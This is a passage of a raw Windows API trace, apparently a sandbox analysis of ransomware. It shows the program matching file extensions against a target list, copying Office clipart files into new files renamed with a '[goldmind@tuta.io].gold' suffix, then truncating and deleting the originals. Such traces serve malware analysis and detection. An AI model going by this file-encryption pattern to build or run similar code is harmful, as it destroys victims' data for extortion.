(lpString=".doc") returned 4 [0113.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString=".docx") returned 5 [0113.111] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.111] lstrlenW (lpString=".pdf") returned 4 [0113.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString=".xls") returned 4 [0113.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.111] lstrlenW (lpString=".xlsx") returned 5 [0113.111] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.111] lstrlenW (lpString=".ppt") returned 4 [0113.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString=".zip") returned 4 [0113.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.111] lstrlenW (lpString=".rar") returned 4 [0113.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString=".bz2") returned 4 [0113.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString=".7z") returned 3 [0113.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString=".dbf") returned 4 [0113.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString=".1cd") returned 4 [0113.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString=".jpg") returned 4 [0113.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString=".doc") returned 4 [0113.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString=".docx") returned 5 [0113.111] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.111] lstrlenW (lpString=".pdf") returned 4 [0113.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString=".xls") returned 4 [0113.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.111] lstrlenW (lpString=".xlsx") returned 5 [0113.111] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.111] lstrlenW (lpString=".ppt") returned 4 [0113.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString=".zip") returned 4 [0113.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.112] lstrlenW (lpString=".rar") returned 4 [0113.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.112] lstrlenW (lpString=".bz2") returned 4 [0113.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.112] lstrlenW (lpString=".7z") returned 3 [0113.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.112] lstrlenW (lpString=".dbf") returned 4 [0113.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.112] lstrlenW (lpString=".1cd") returned 4 [0113.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.112] lstrlenW (lpString=".jpg") returned 4 [0113.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.112] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.112] lstrlenW (lpString="J0185800.WMF") returned 12 [0113.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.113] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=24238) returned 1 [0113.113] CloseHandle (hObject=0x39c) returned 1 [0113.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 0x20 [0113.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.114] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.114] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0113.115] GetLastError () returned 0x0 [0113.115] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x5eae, lpOverlapped=0x0) returned 1 [0113.116] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x5eb0, lpOverlapped=0x0) returned 1 [0113.117] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.117] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.118] SetEndOfFile (hFile=0x188) returned 1 [0113.118] CloseHandle (hObject=0x188) returned 1 [0113.118] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.118] SetEndOfFile (hFile=0x39c) returned 1 [0113.121] CloseHandle (hObject=0x39c) returned 1 [0113.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0113.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.122] lstrlenW (lpString=".doc") returned 4 [0113.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString=".docx") returned 5 [0113.122] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.122] lstrlenW (lpString=".pdf") returned 4 [0113.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString=".xls") returned 4 [0113.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.122] lstrlenW (lpString=".xlsx") returned 5 [0113.122] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.122] lstrlenW (lpString=".ppt") returned 4 [0113.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.122] lstrlenW (lpString=".zip") returned 4 [0113.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.122] lstrlenW (lpString=".rar") returned 4 [0113.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString=".bz2") returned 4 [0113.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString=".7z") returned 3 [0113.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.122] lstrlenW (lpString=".dbf") returned 4 [0113.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.122] lstrlenW (lpString=".1cd") returned 4 [0113.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.122] lstrlenW (lpString=".jpg") returned 4 [0113.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.123] lstrlenW (lpString=".doc") returned 4 [0113.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString=".docx") returned 5 [0113.123] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.123] lstrlenW (lpString=".pdf") returned 4 [0113.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString=".xls") returned 4 [0113.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.123] lstrlenW (lpString=".xlsx") returned 5 [0113.123] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.123] lstrlenW (lpString=".ppt") returned 4 [0113.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.123] lstrlenW (lpString=".zip") returned 4 [0113.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.123] lstrlenW (lpString=".rar") returned 4 [0113.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString=".bz2") returned 4 [0113.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString=".7z") returned 3 [0113.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.123] lstrlenW (lpString=".dbf") returned 4 [0113.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.123] lstrlenW (lpString=".1cd") returned 4 [0113.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0113.123] lstrlenW (lpString=".jpg") returned 4 [0113.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.123] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.123] lstrlenW (lpString="J0185806.WMF") returned 12 [0113.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.124] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=30522) returned 1 [0113.124] CloseHandle (hObject=0x39c) returned 1 [0113.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 0x20 [0113.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.125] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.125] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0113.126] GetLastError () returned 0x0 [0113.126] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x773a, lpOverlapped=0x0) returned 1 [0113.130] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7740, lpOverlapped=0x0) returned 1 [0113.131] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.131] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.131] SetEndOfFile (hFile=0x188) returned 1 [0113.131] CloseHandle (hObject=0x188) returned 1 [0113.131] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.131] SetEndOfFile (hFile=0x39c) returned 1 [0113.134] CloseHandle (hObject=0x39c) returned 1 [0113.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0113.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.303] lstrlenW (lpString=".doc") returned 4 [0113.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.303] lstrlenW (lpString=".docx") returned 5 [0113.303] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.303] lstrlenW (lpString=".pdf") returned 4 [0113.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.303] lstrlenW (lpString=".xls") returned 4 [0113.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.303] lstrlenW (lpString=".xlsx") returned 5 [0113.303] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.303] lstrlenW (lpString=".ppt") returned 4 [0113.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.303] lstrlenW (lpString=".zip") returned 4 [0113.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.303] lstrlenW (lpString=".rar") returned 4 [0113.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.303] lstrlenW (lpString=".bz2") returned 4 [0113.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString=".7z") returned 3 [0113.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".dbf") returned 4 [0113.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".1cd") returned 4 [0113.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".jpg") returned 4 [0113.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".doc") returned 4 [0113.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString=".docx") returned 5 [0113.304] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.304] lstrlenW (lpString=".pdf") returned 4 [0113.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString=".xls") returned 4 [0113.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.304] lstrlenW (lpString=".xlsx") returned 5 [0113.304] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.304] lstrlenW (lpString=".ppt") returned 4 [0113.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".zip") returned 4 [0113.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.304] lstrlenW (lpString=".rar") returned 4 [0113.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString=".bz2") returned 4 [0113.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString=".7z") returned 3 [0113.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".dbf") returned 4 [0113.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".1cd") returned 4 [0113.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0113.304] lstrlenW (lpString=".jpg") returned 4 [0113.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.305] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.305] lstrlenW (lpString="J0186346.WMF") returned 12 [0113.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.479] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8666) returned 1 [0113.479] CloseHandle (hObject=0x364) returned 1 [0113.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 0x20 [0113.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.480] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.480] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.481] GetLastError () returned 0x0 [0113.481] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x21da, lpOverlapped=0x0) returned 1 [0113.493] WriteFile (in: hFile=0x3d4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x21e0, lpOverlapped=0x0) returned 1 [0113.494] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.494] WriteFile (in: hFile=0x3d4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.494] SetEndOfFile (hFile=0x3d4) returned 1 [0113.494] CloseHandle (hObject=0x3d4) returned 1 [0113.494] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.494] SetEndOfFile (hFile=0x364) returned 1 [0113.496] CloseHandle (hObject=0x364) returned 1 [0113.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 1 [0113.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.498] lstrlenW (lpString=".doc") returned 4 [0113.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.498] lstrlenW (lpString=".docx") returned 5 [0113.498] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.498] lstrlenW (lpString=".pdf") returned 4 [0113.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.498] lstrlenW (lpString=".xls") returned 4 [0113.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.498] lstrlenW (lpString=".xlsx") returned 5 [0113.498] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.498] lstrlenW (lpString=".ppt") returned 4 [0113.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.498] lstrlenW (lpString=".zip") returned 4 [0113.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.498] lstrlenW 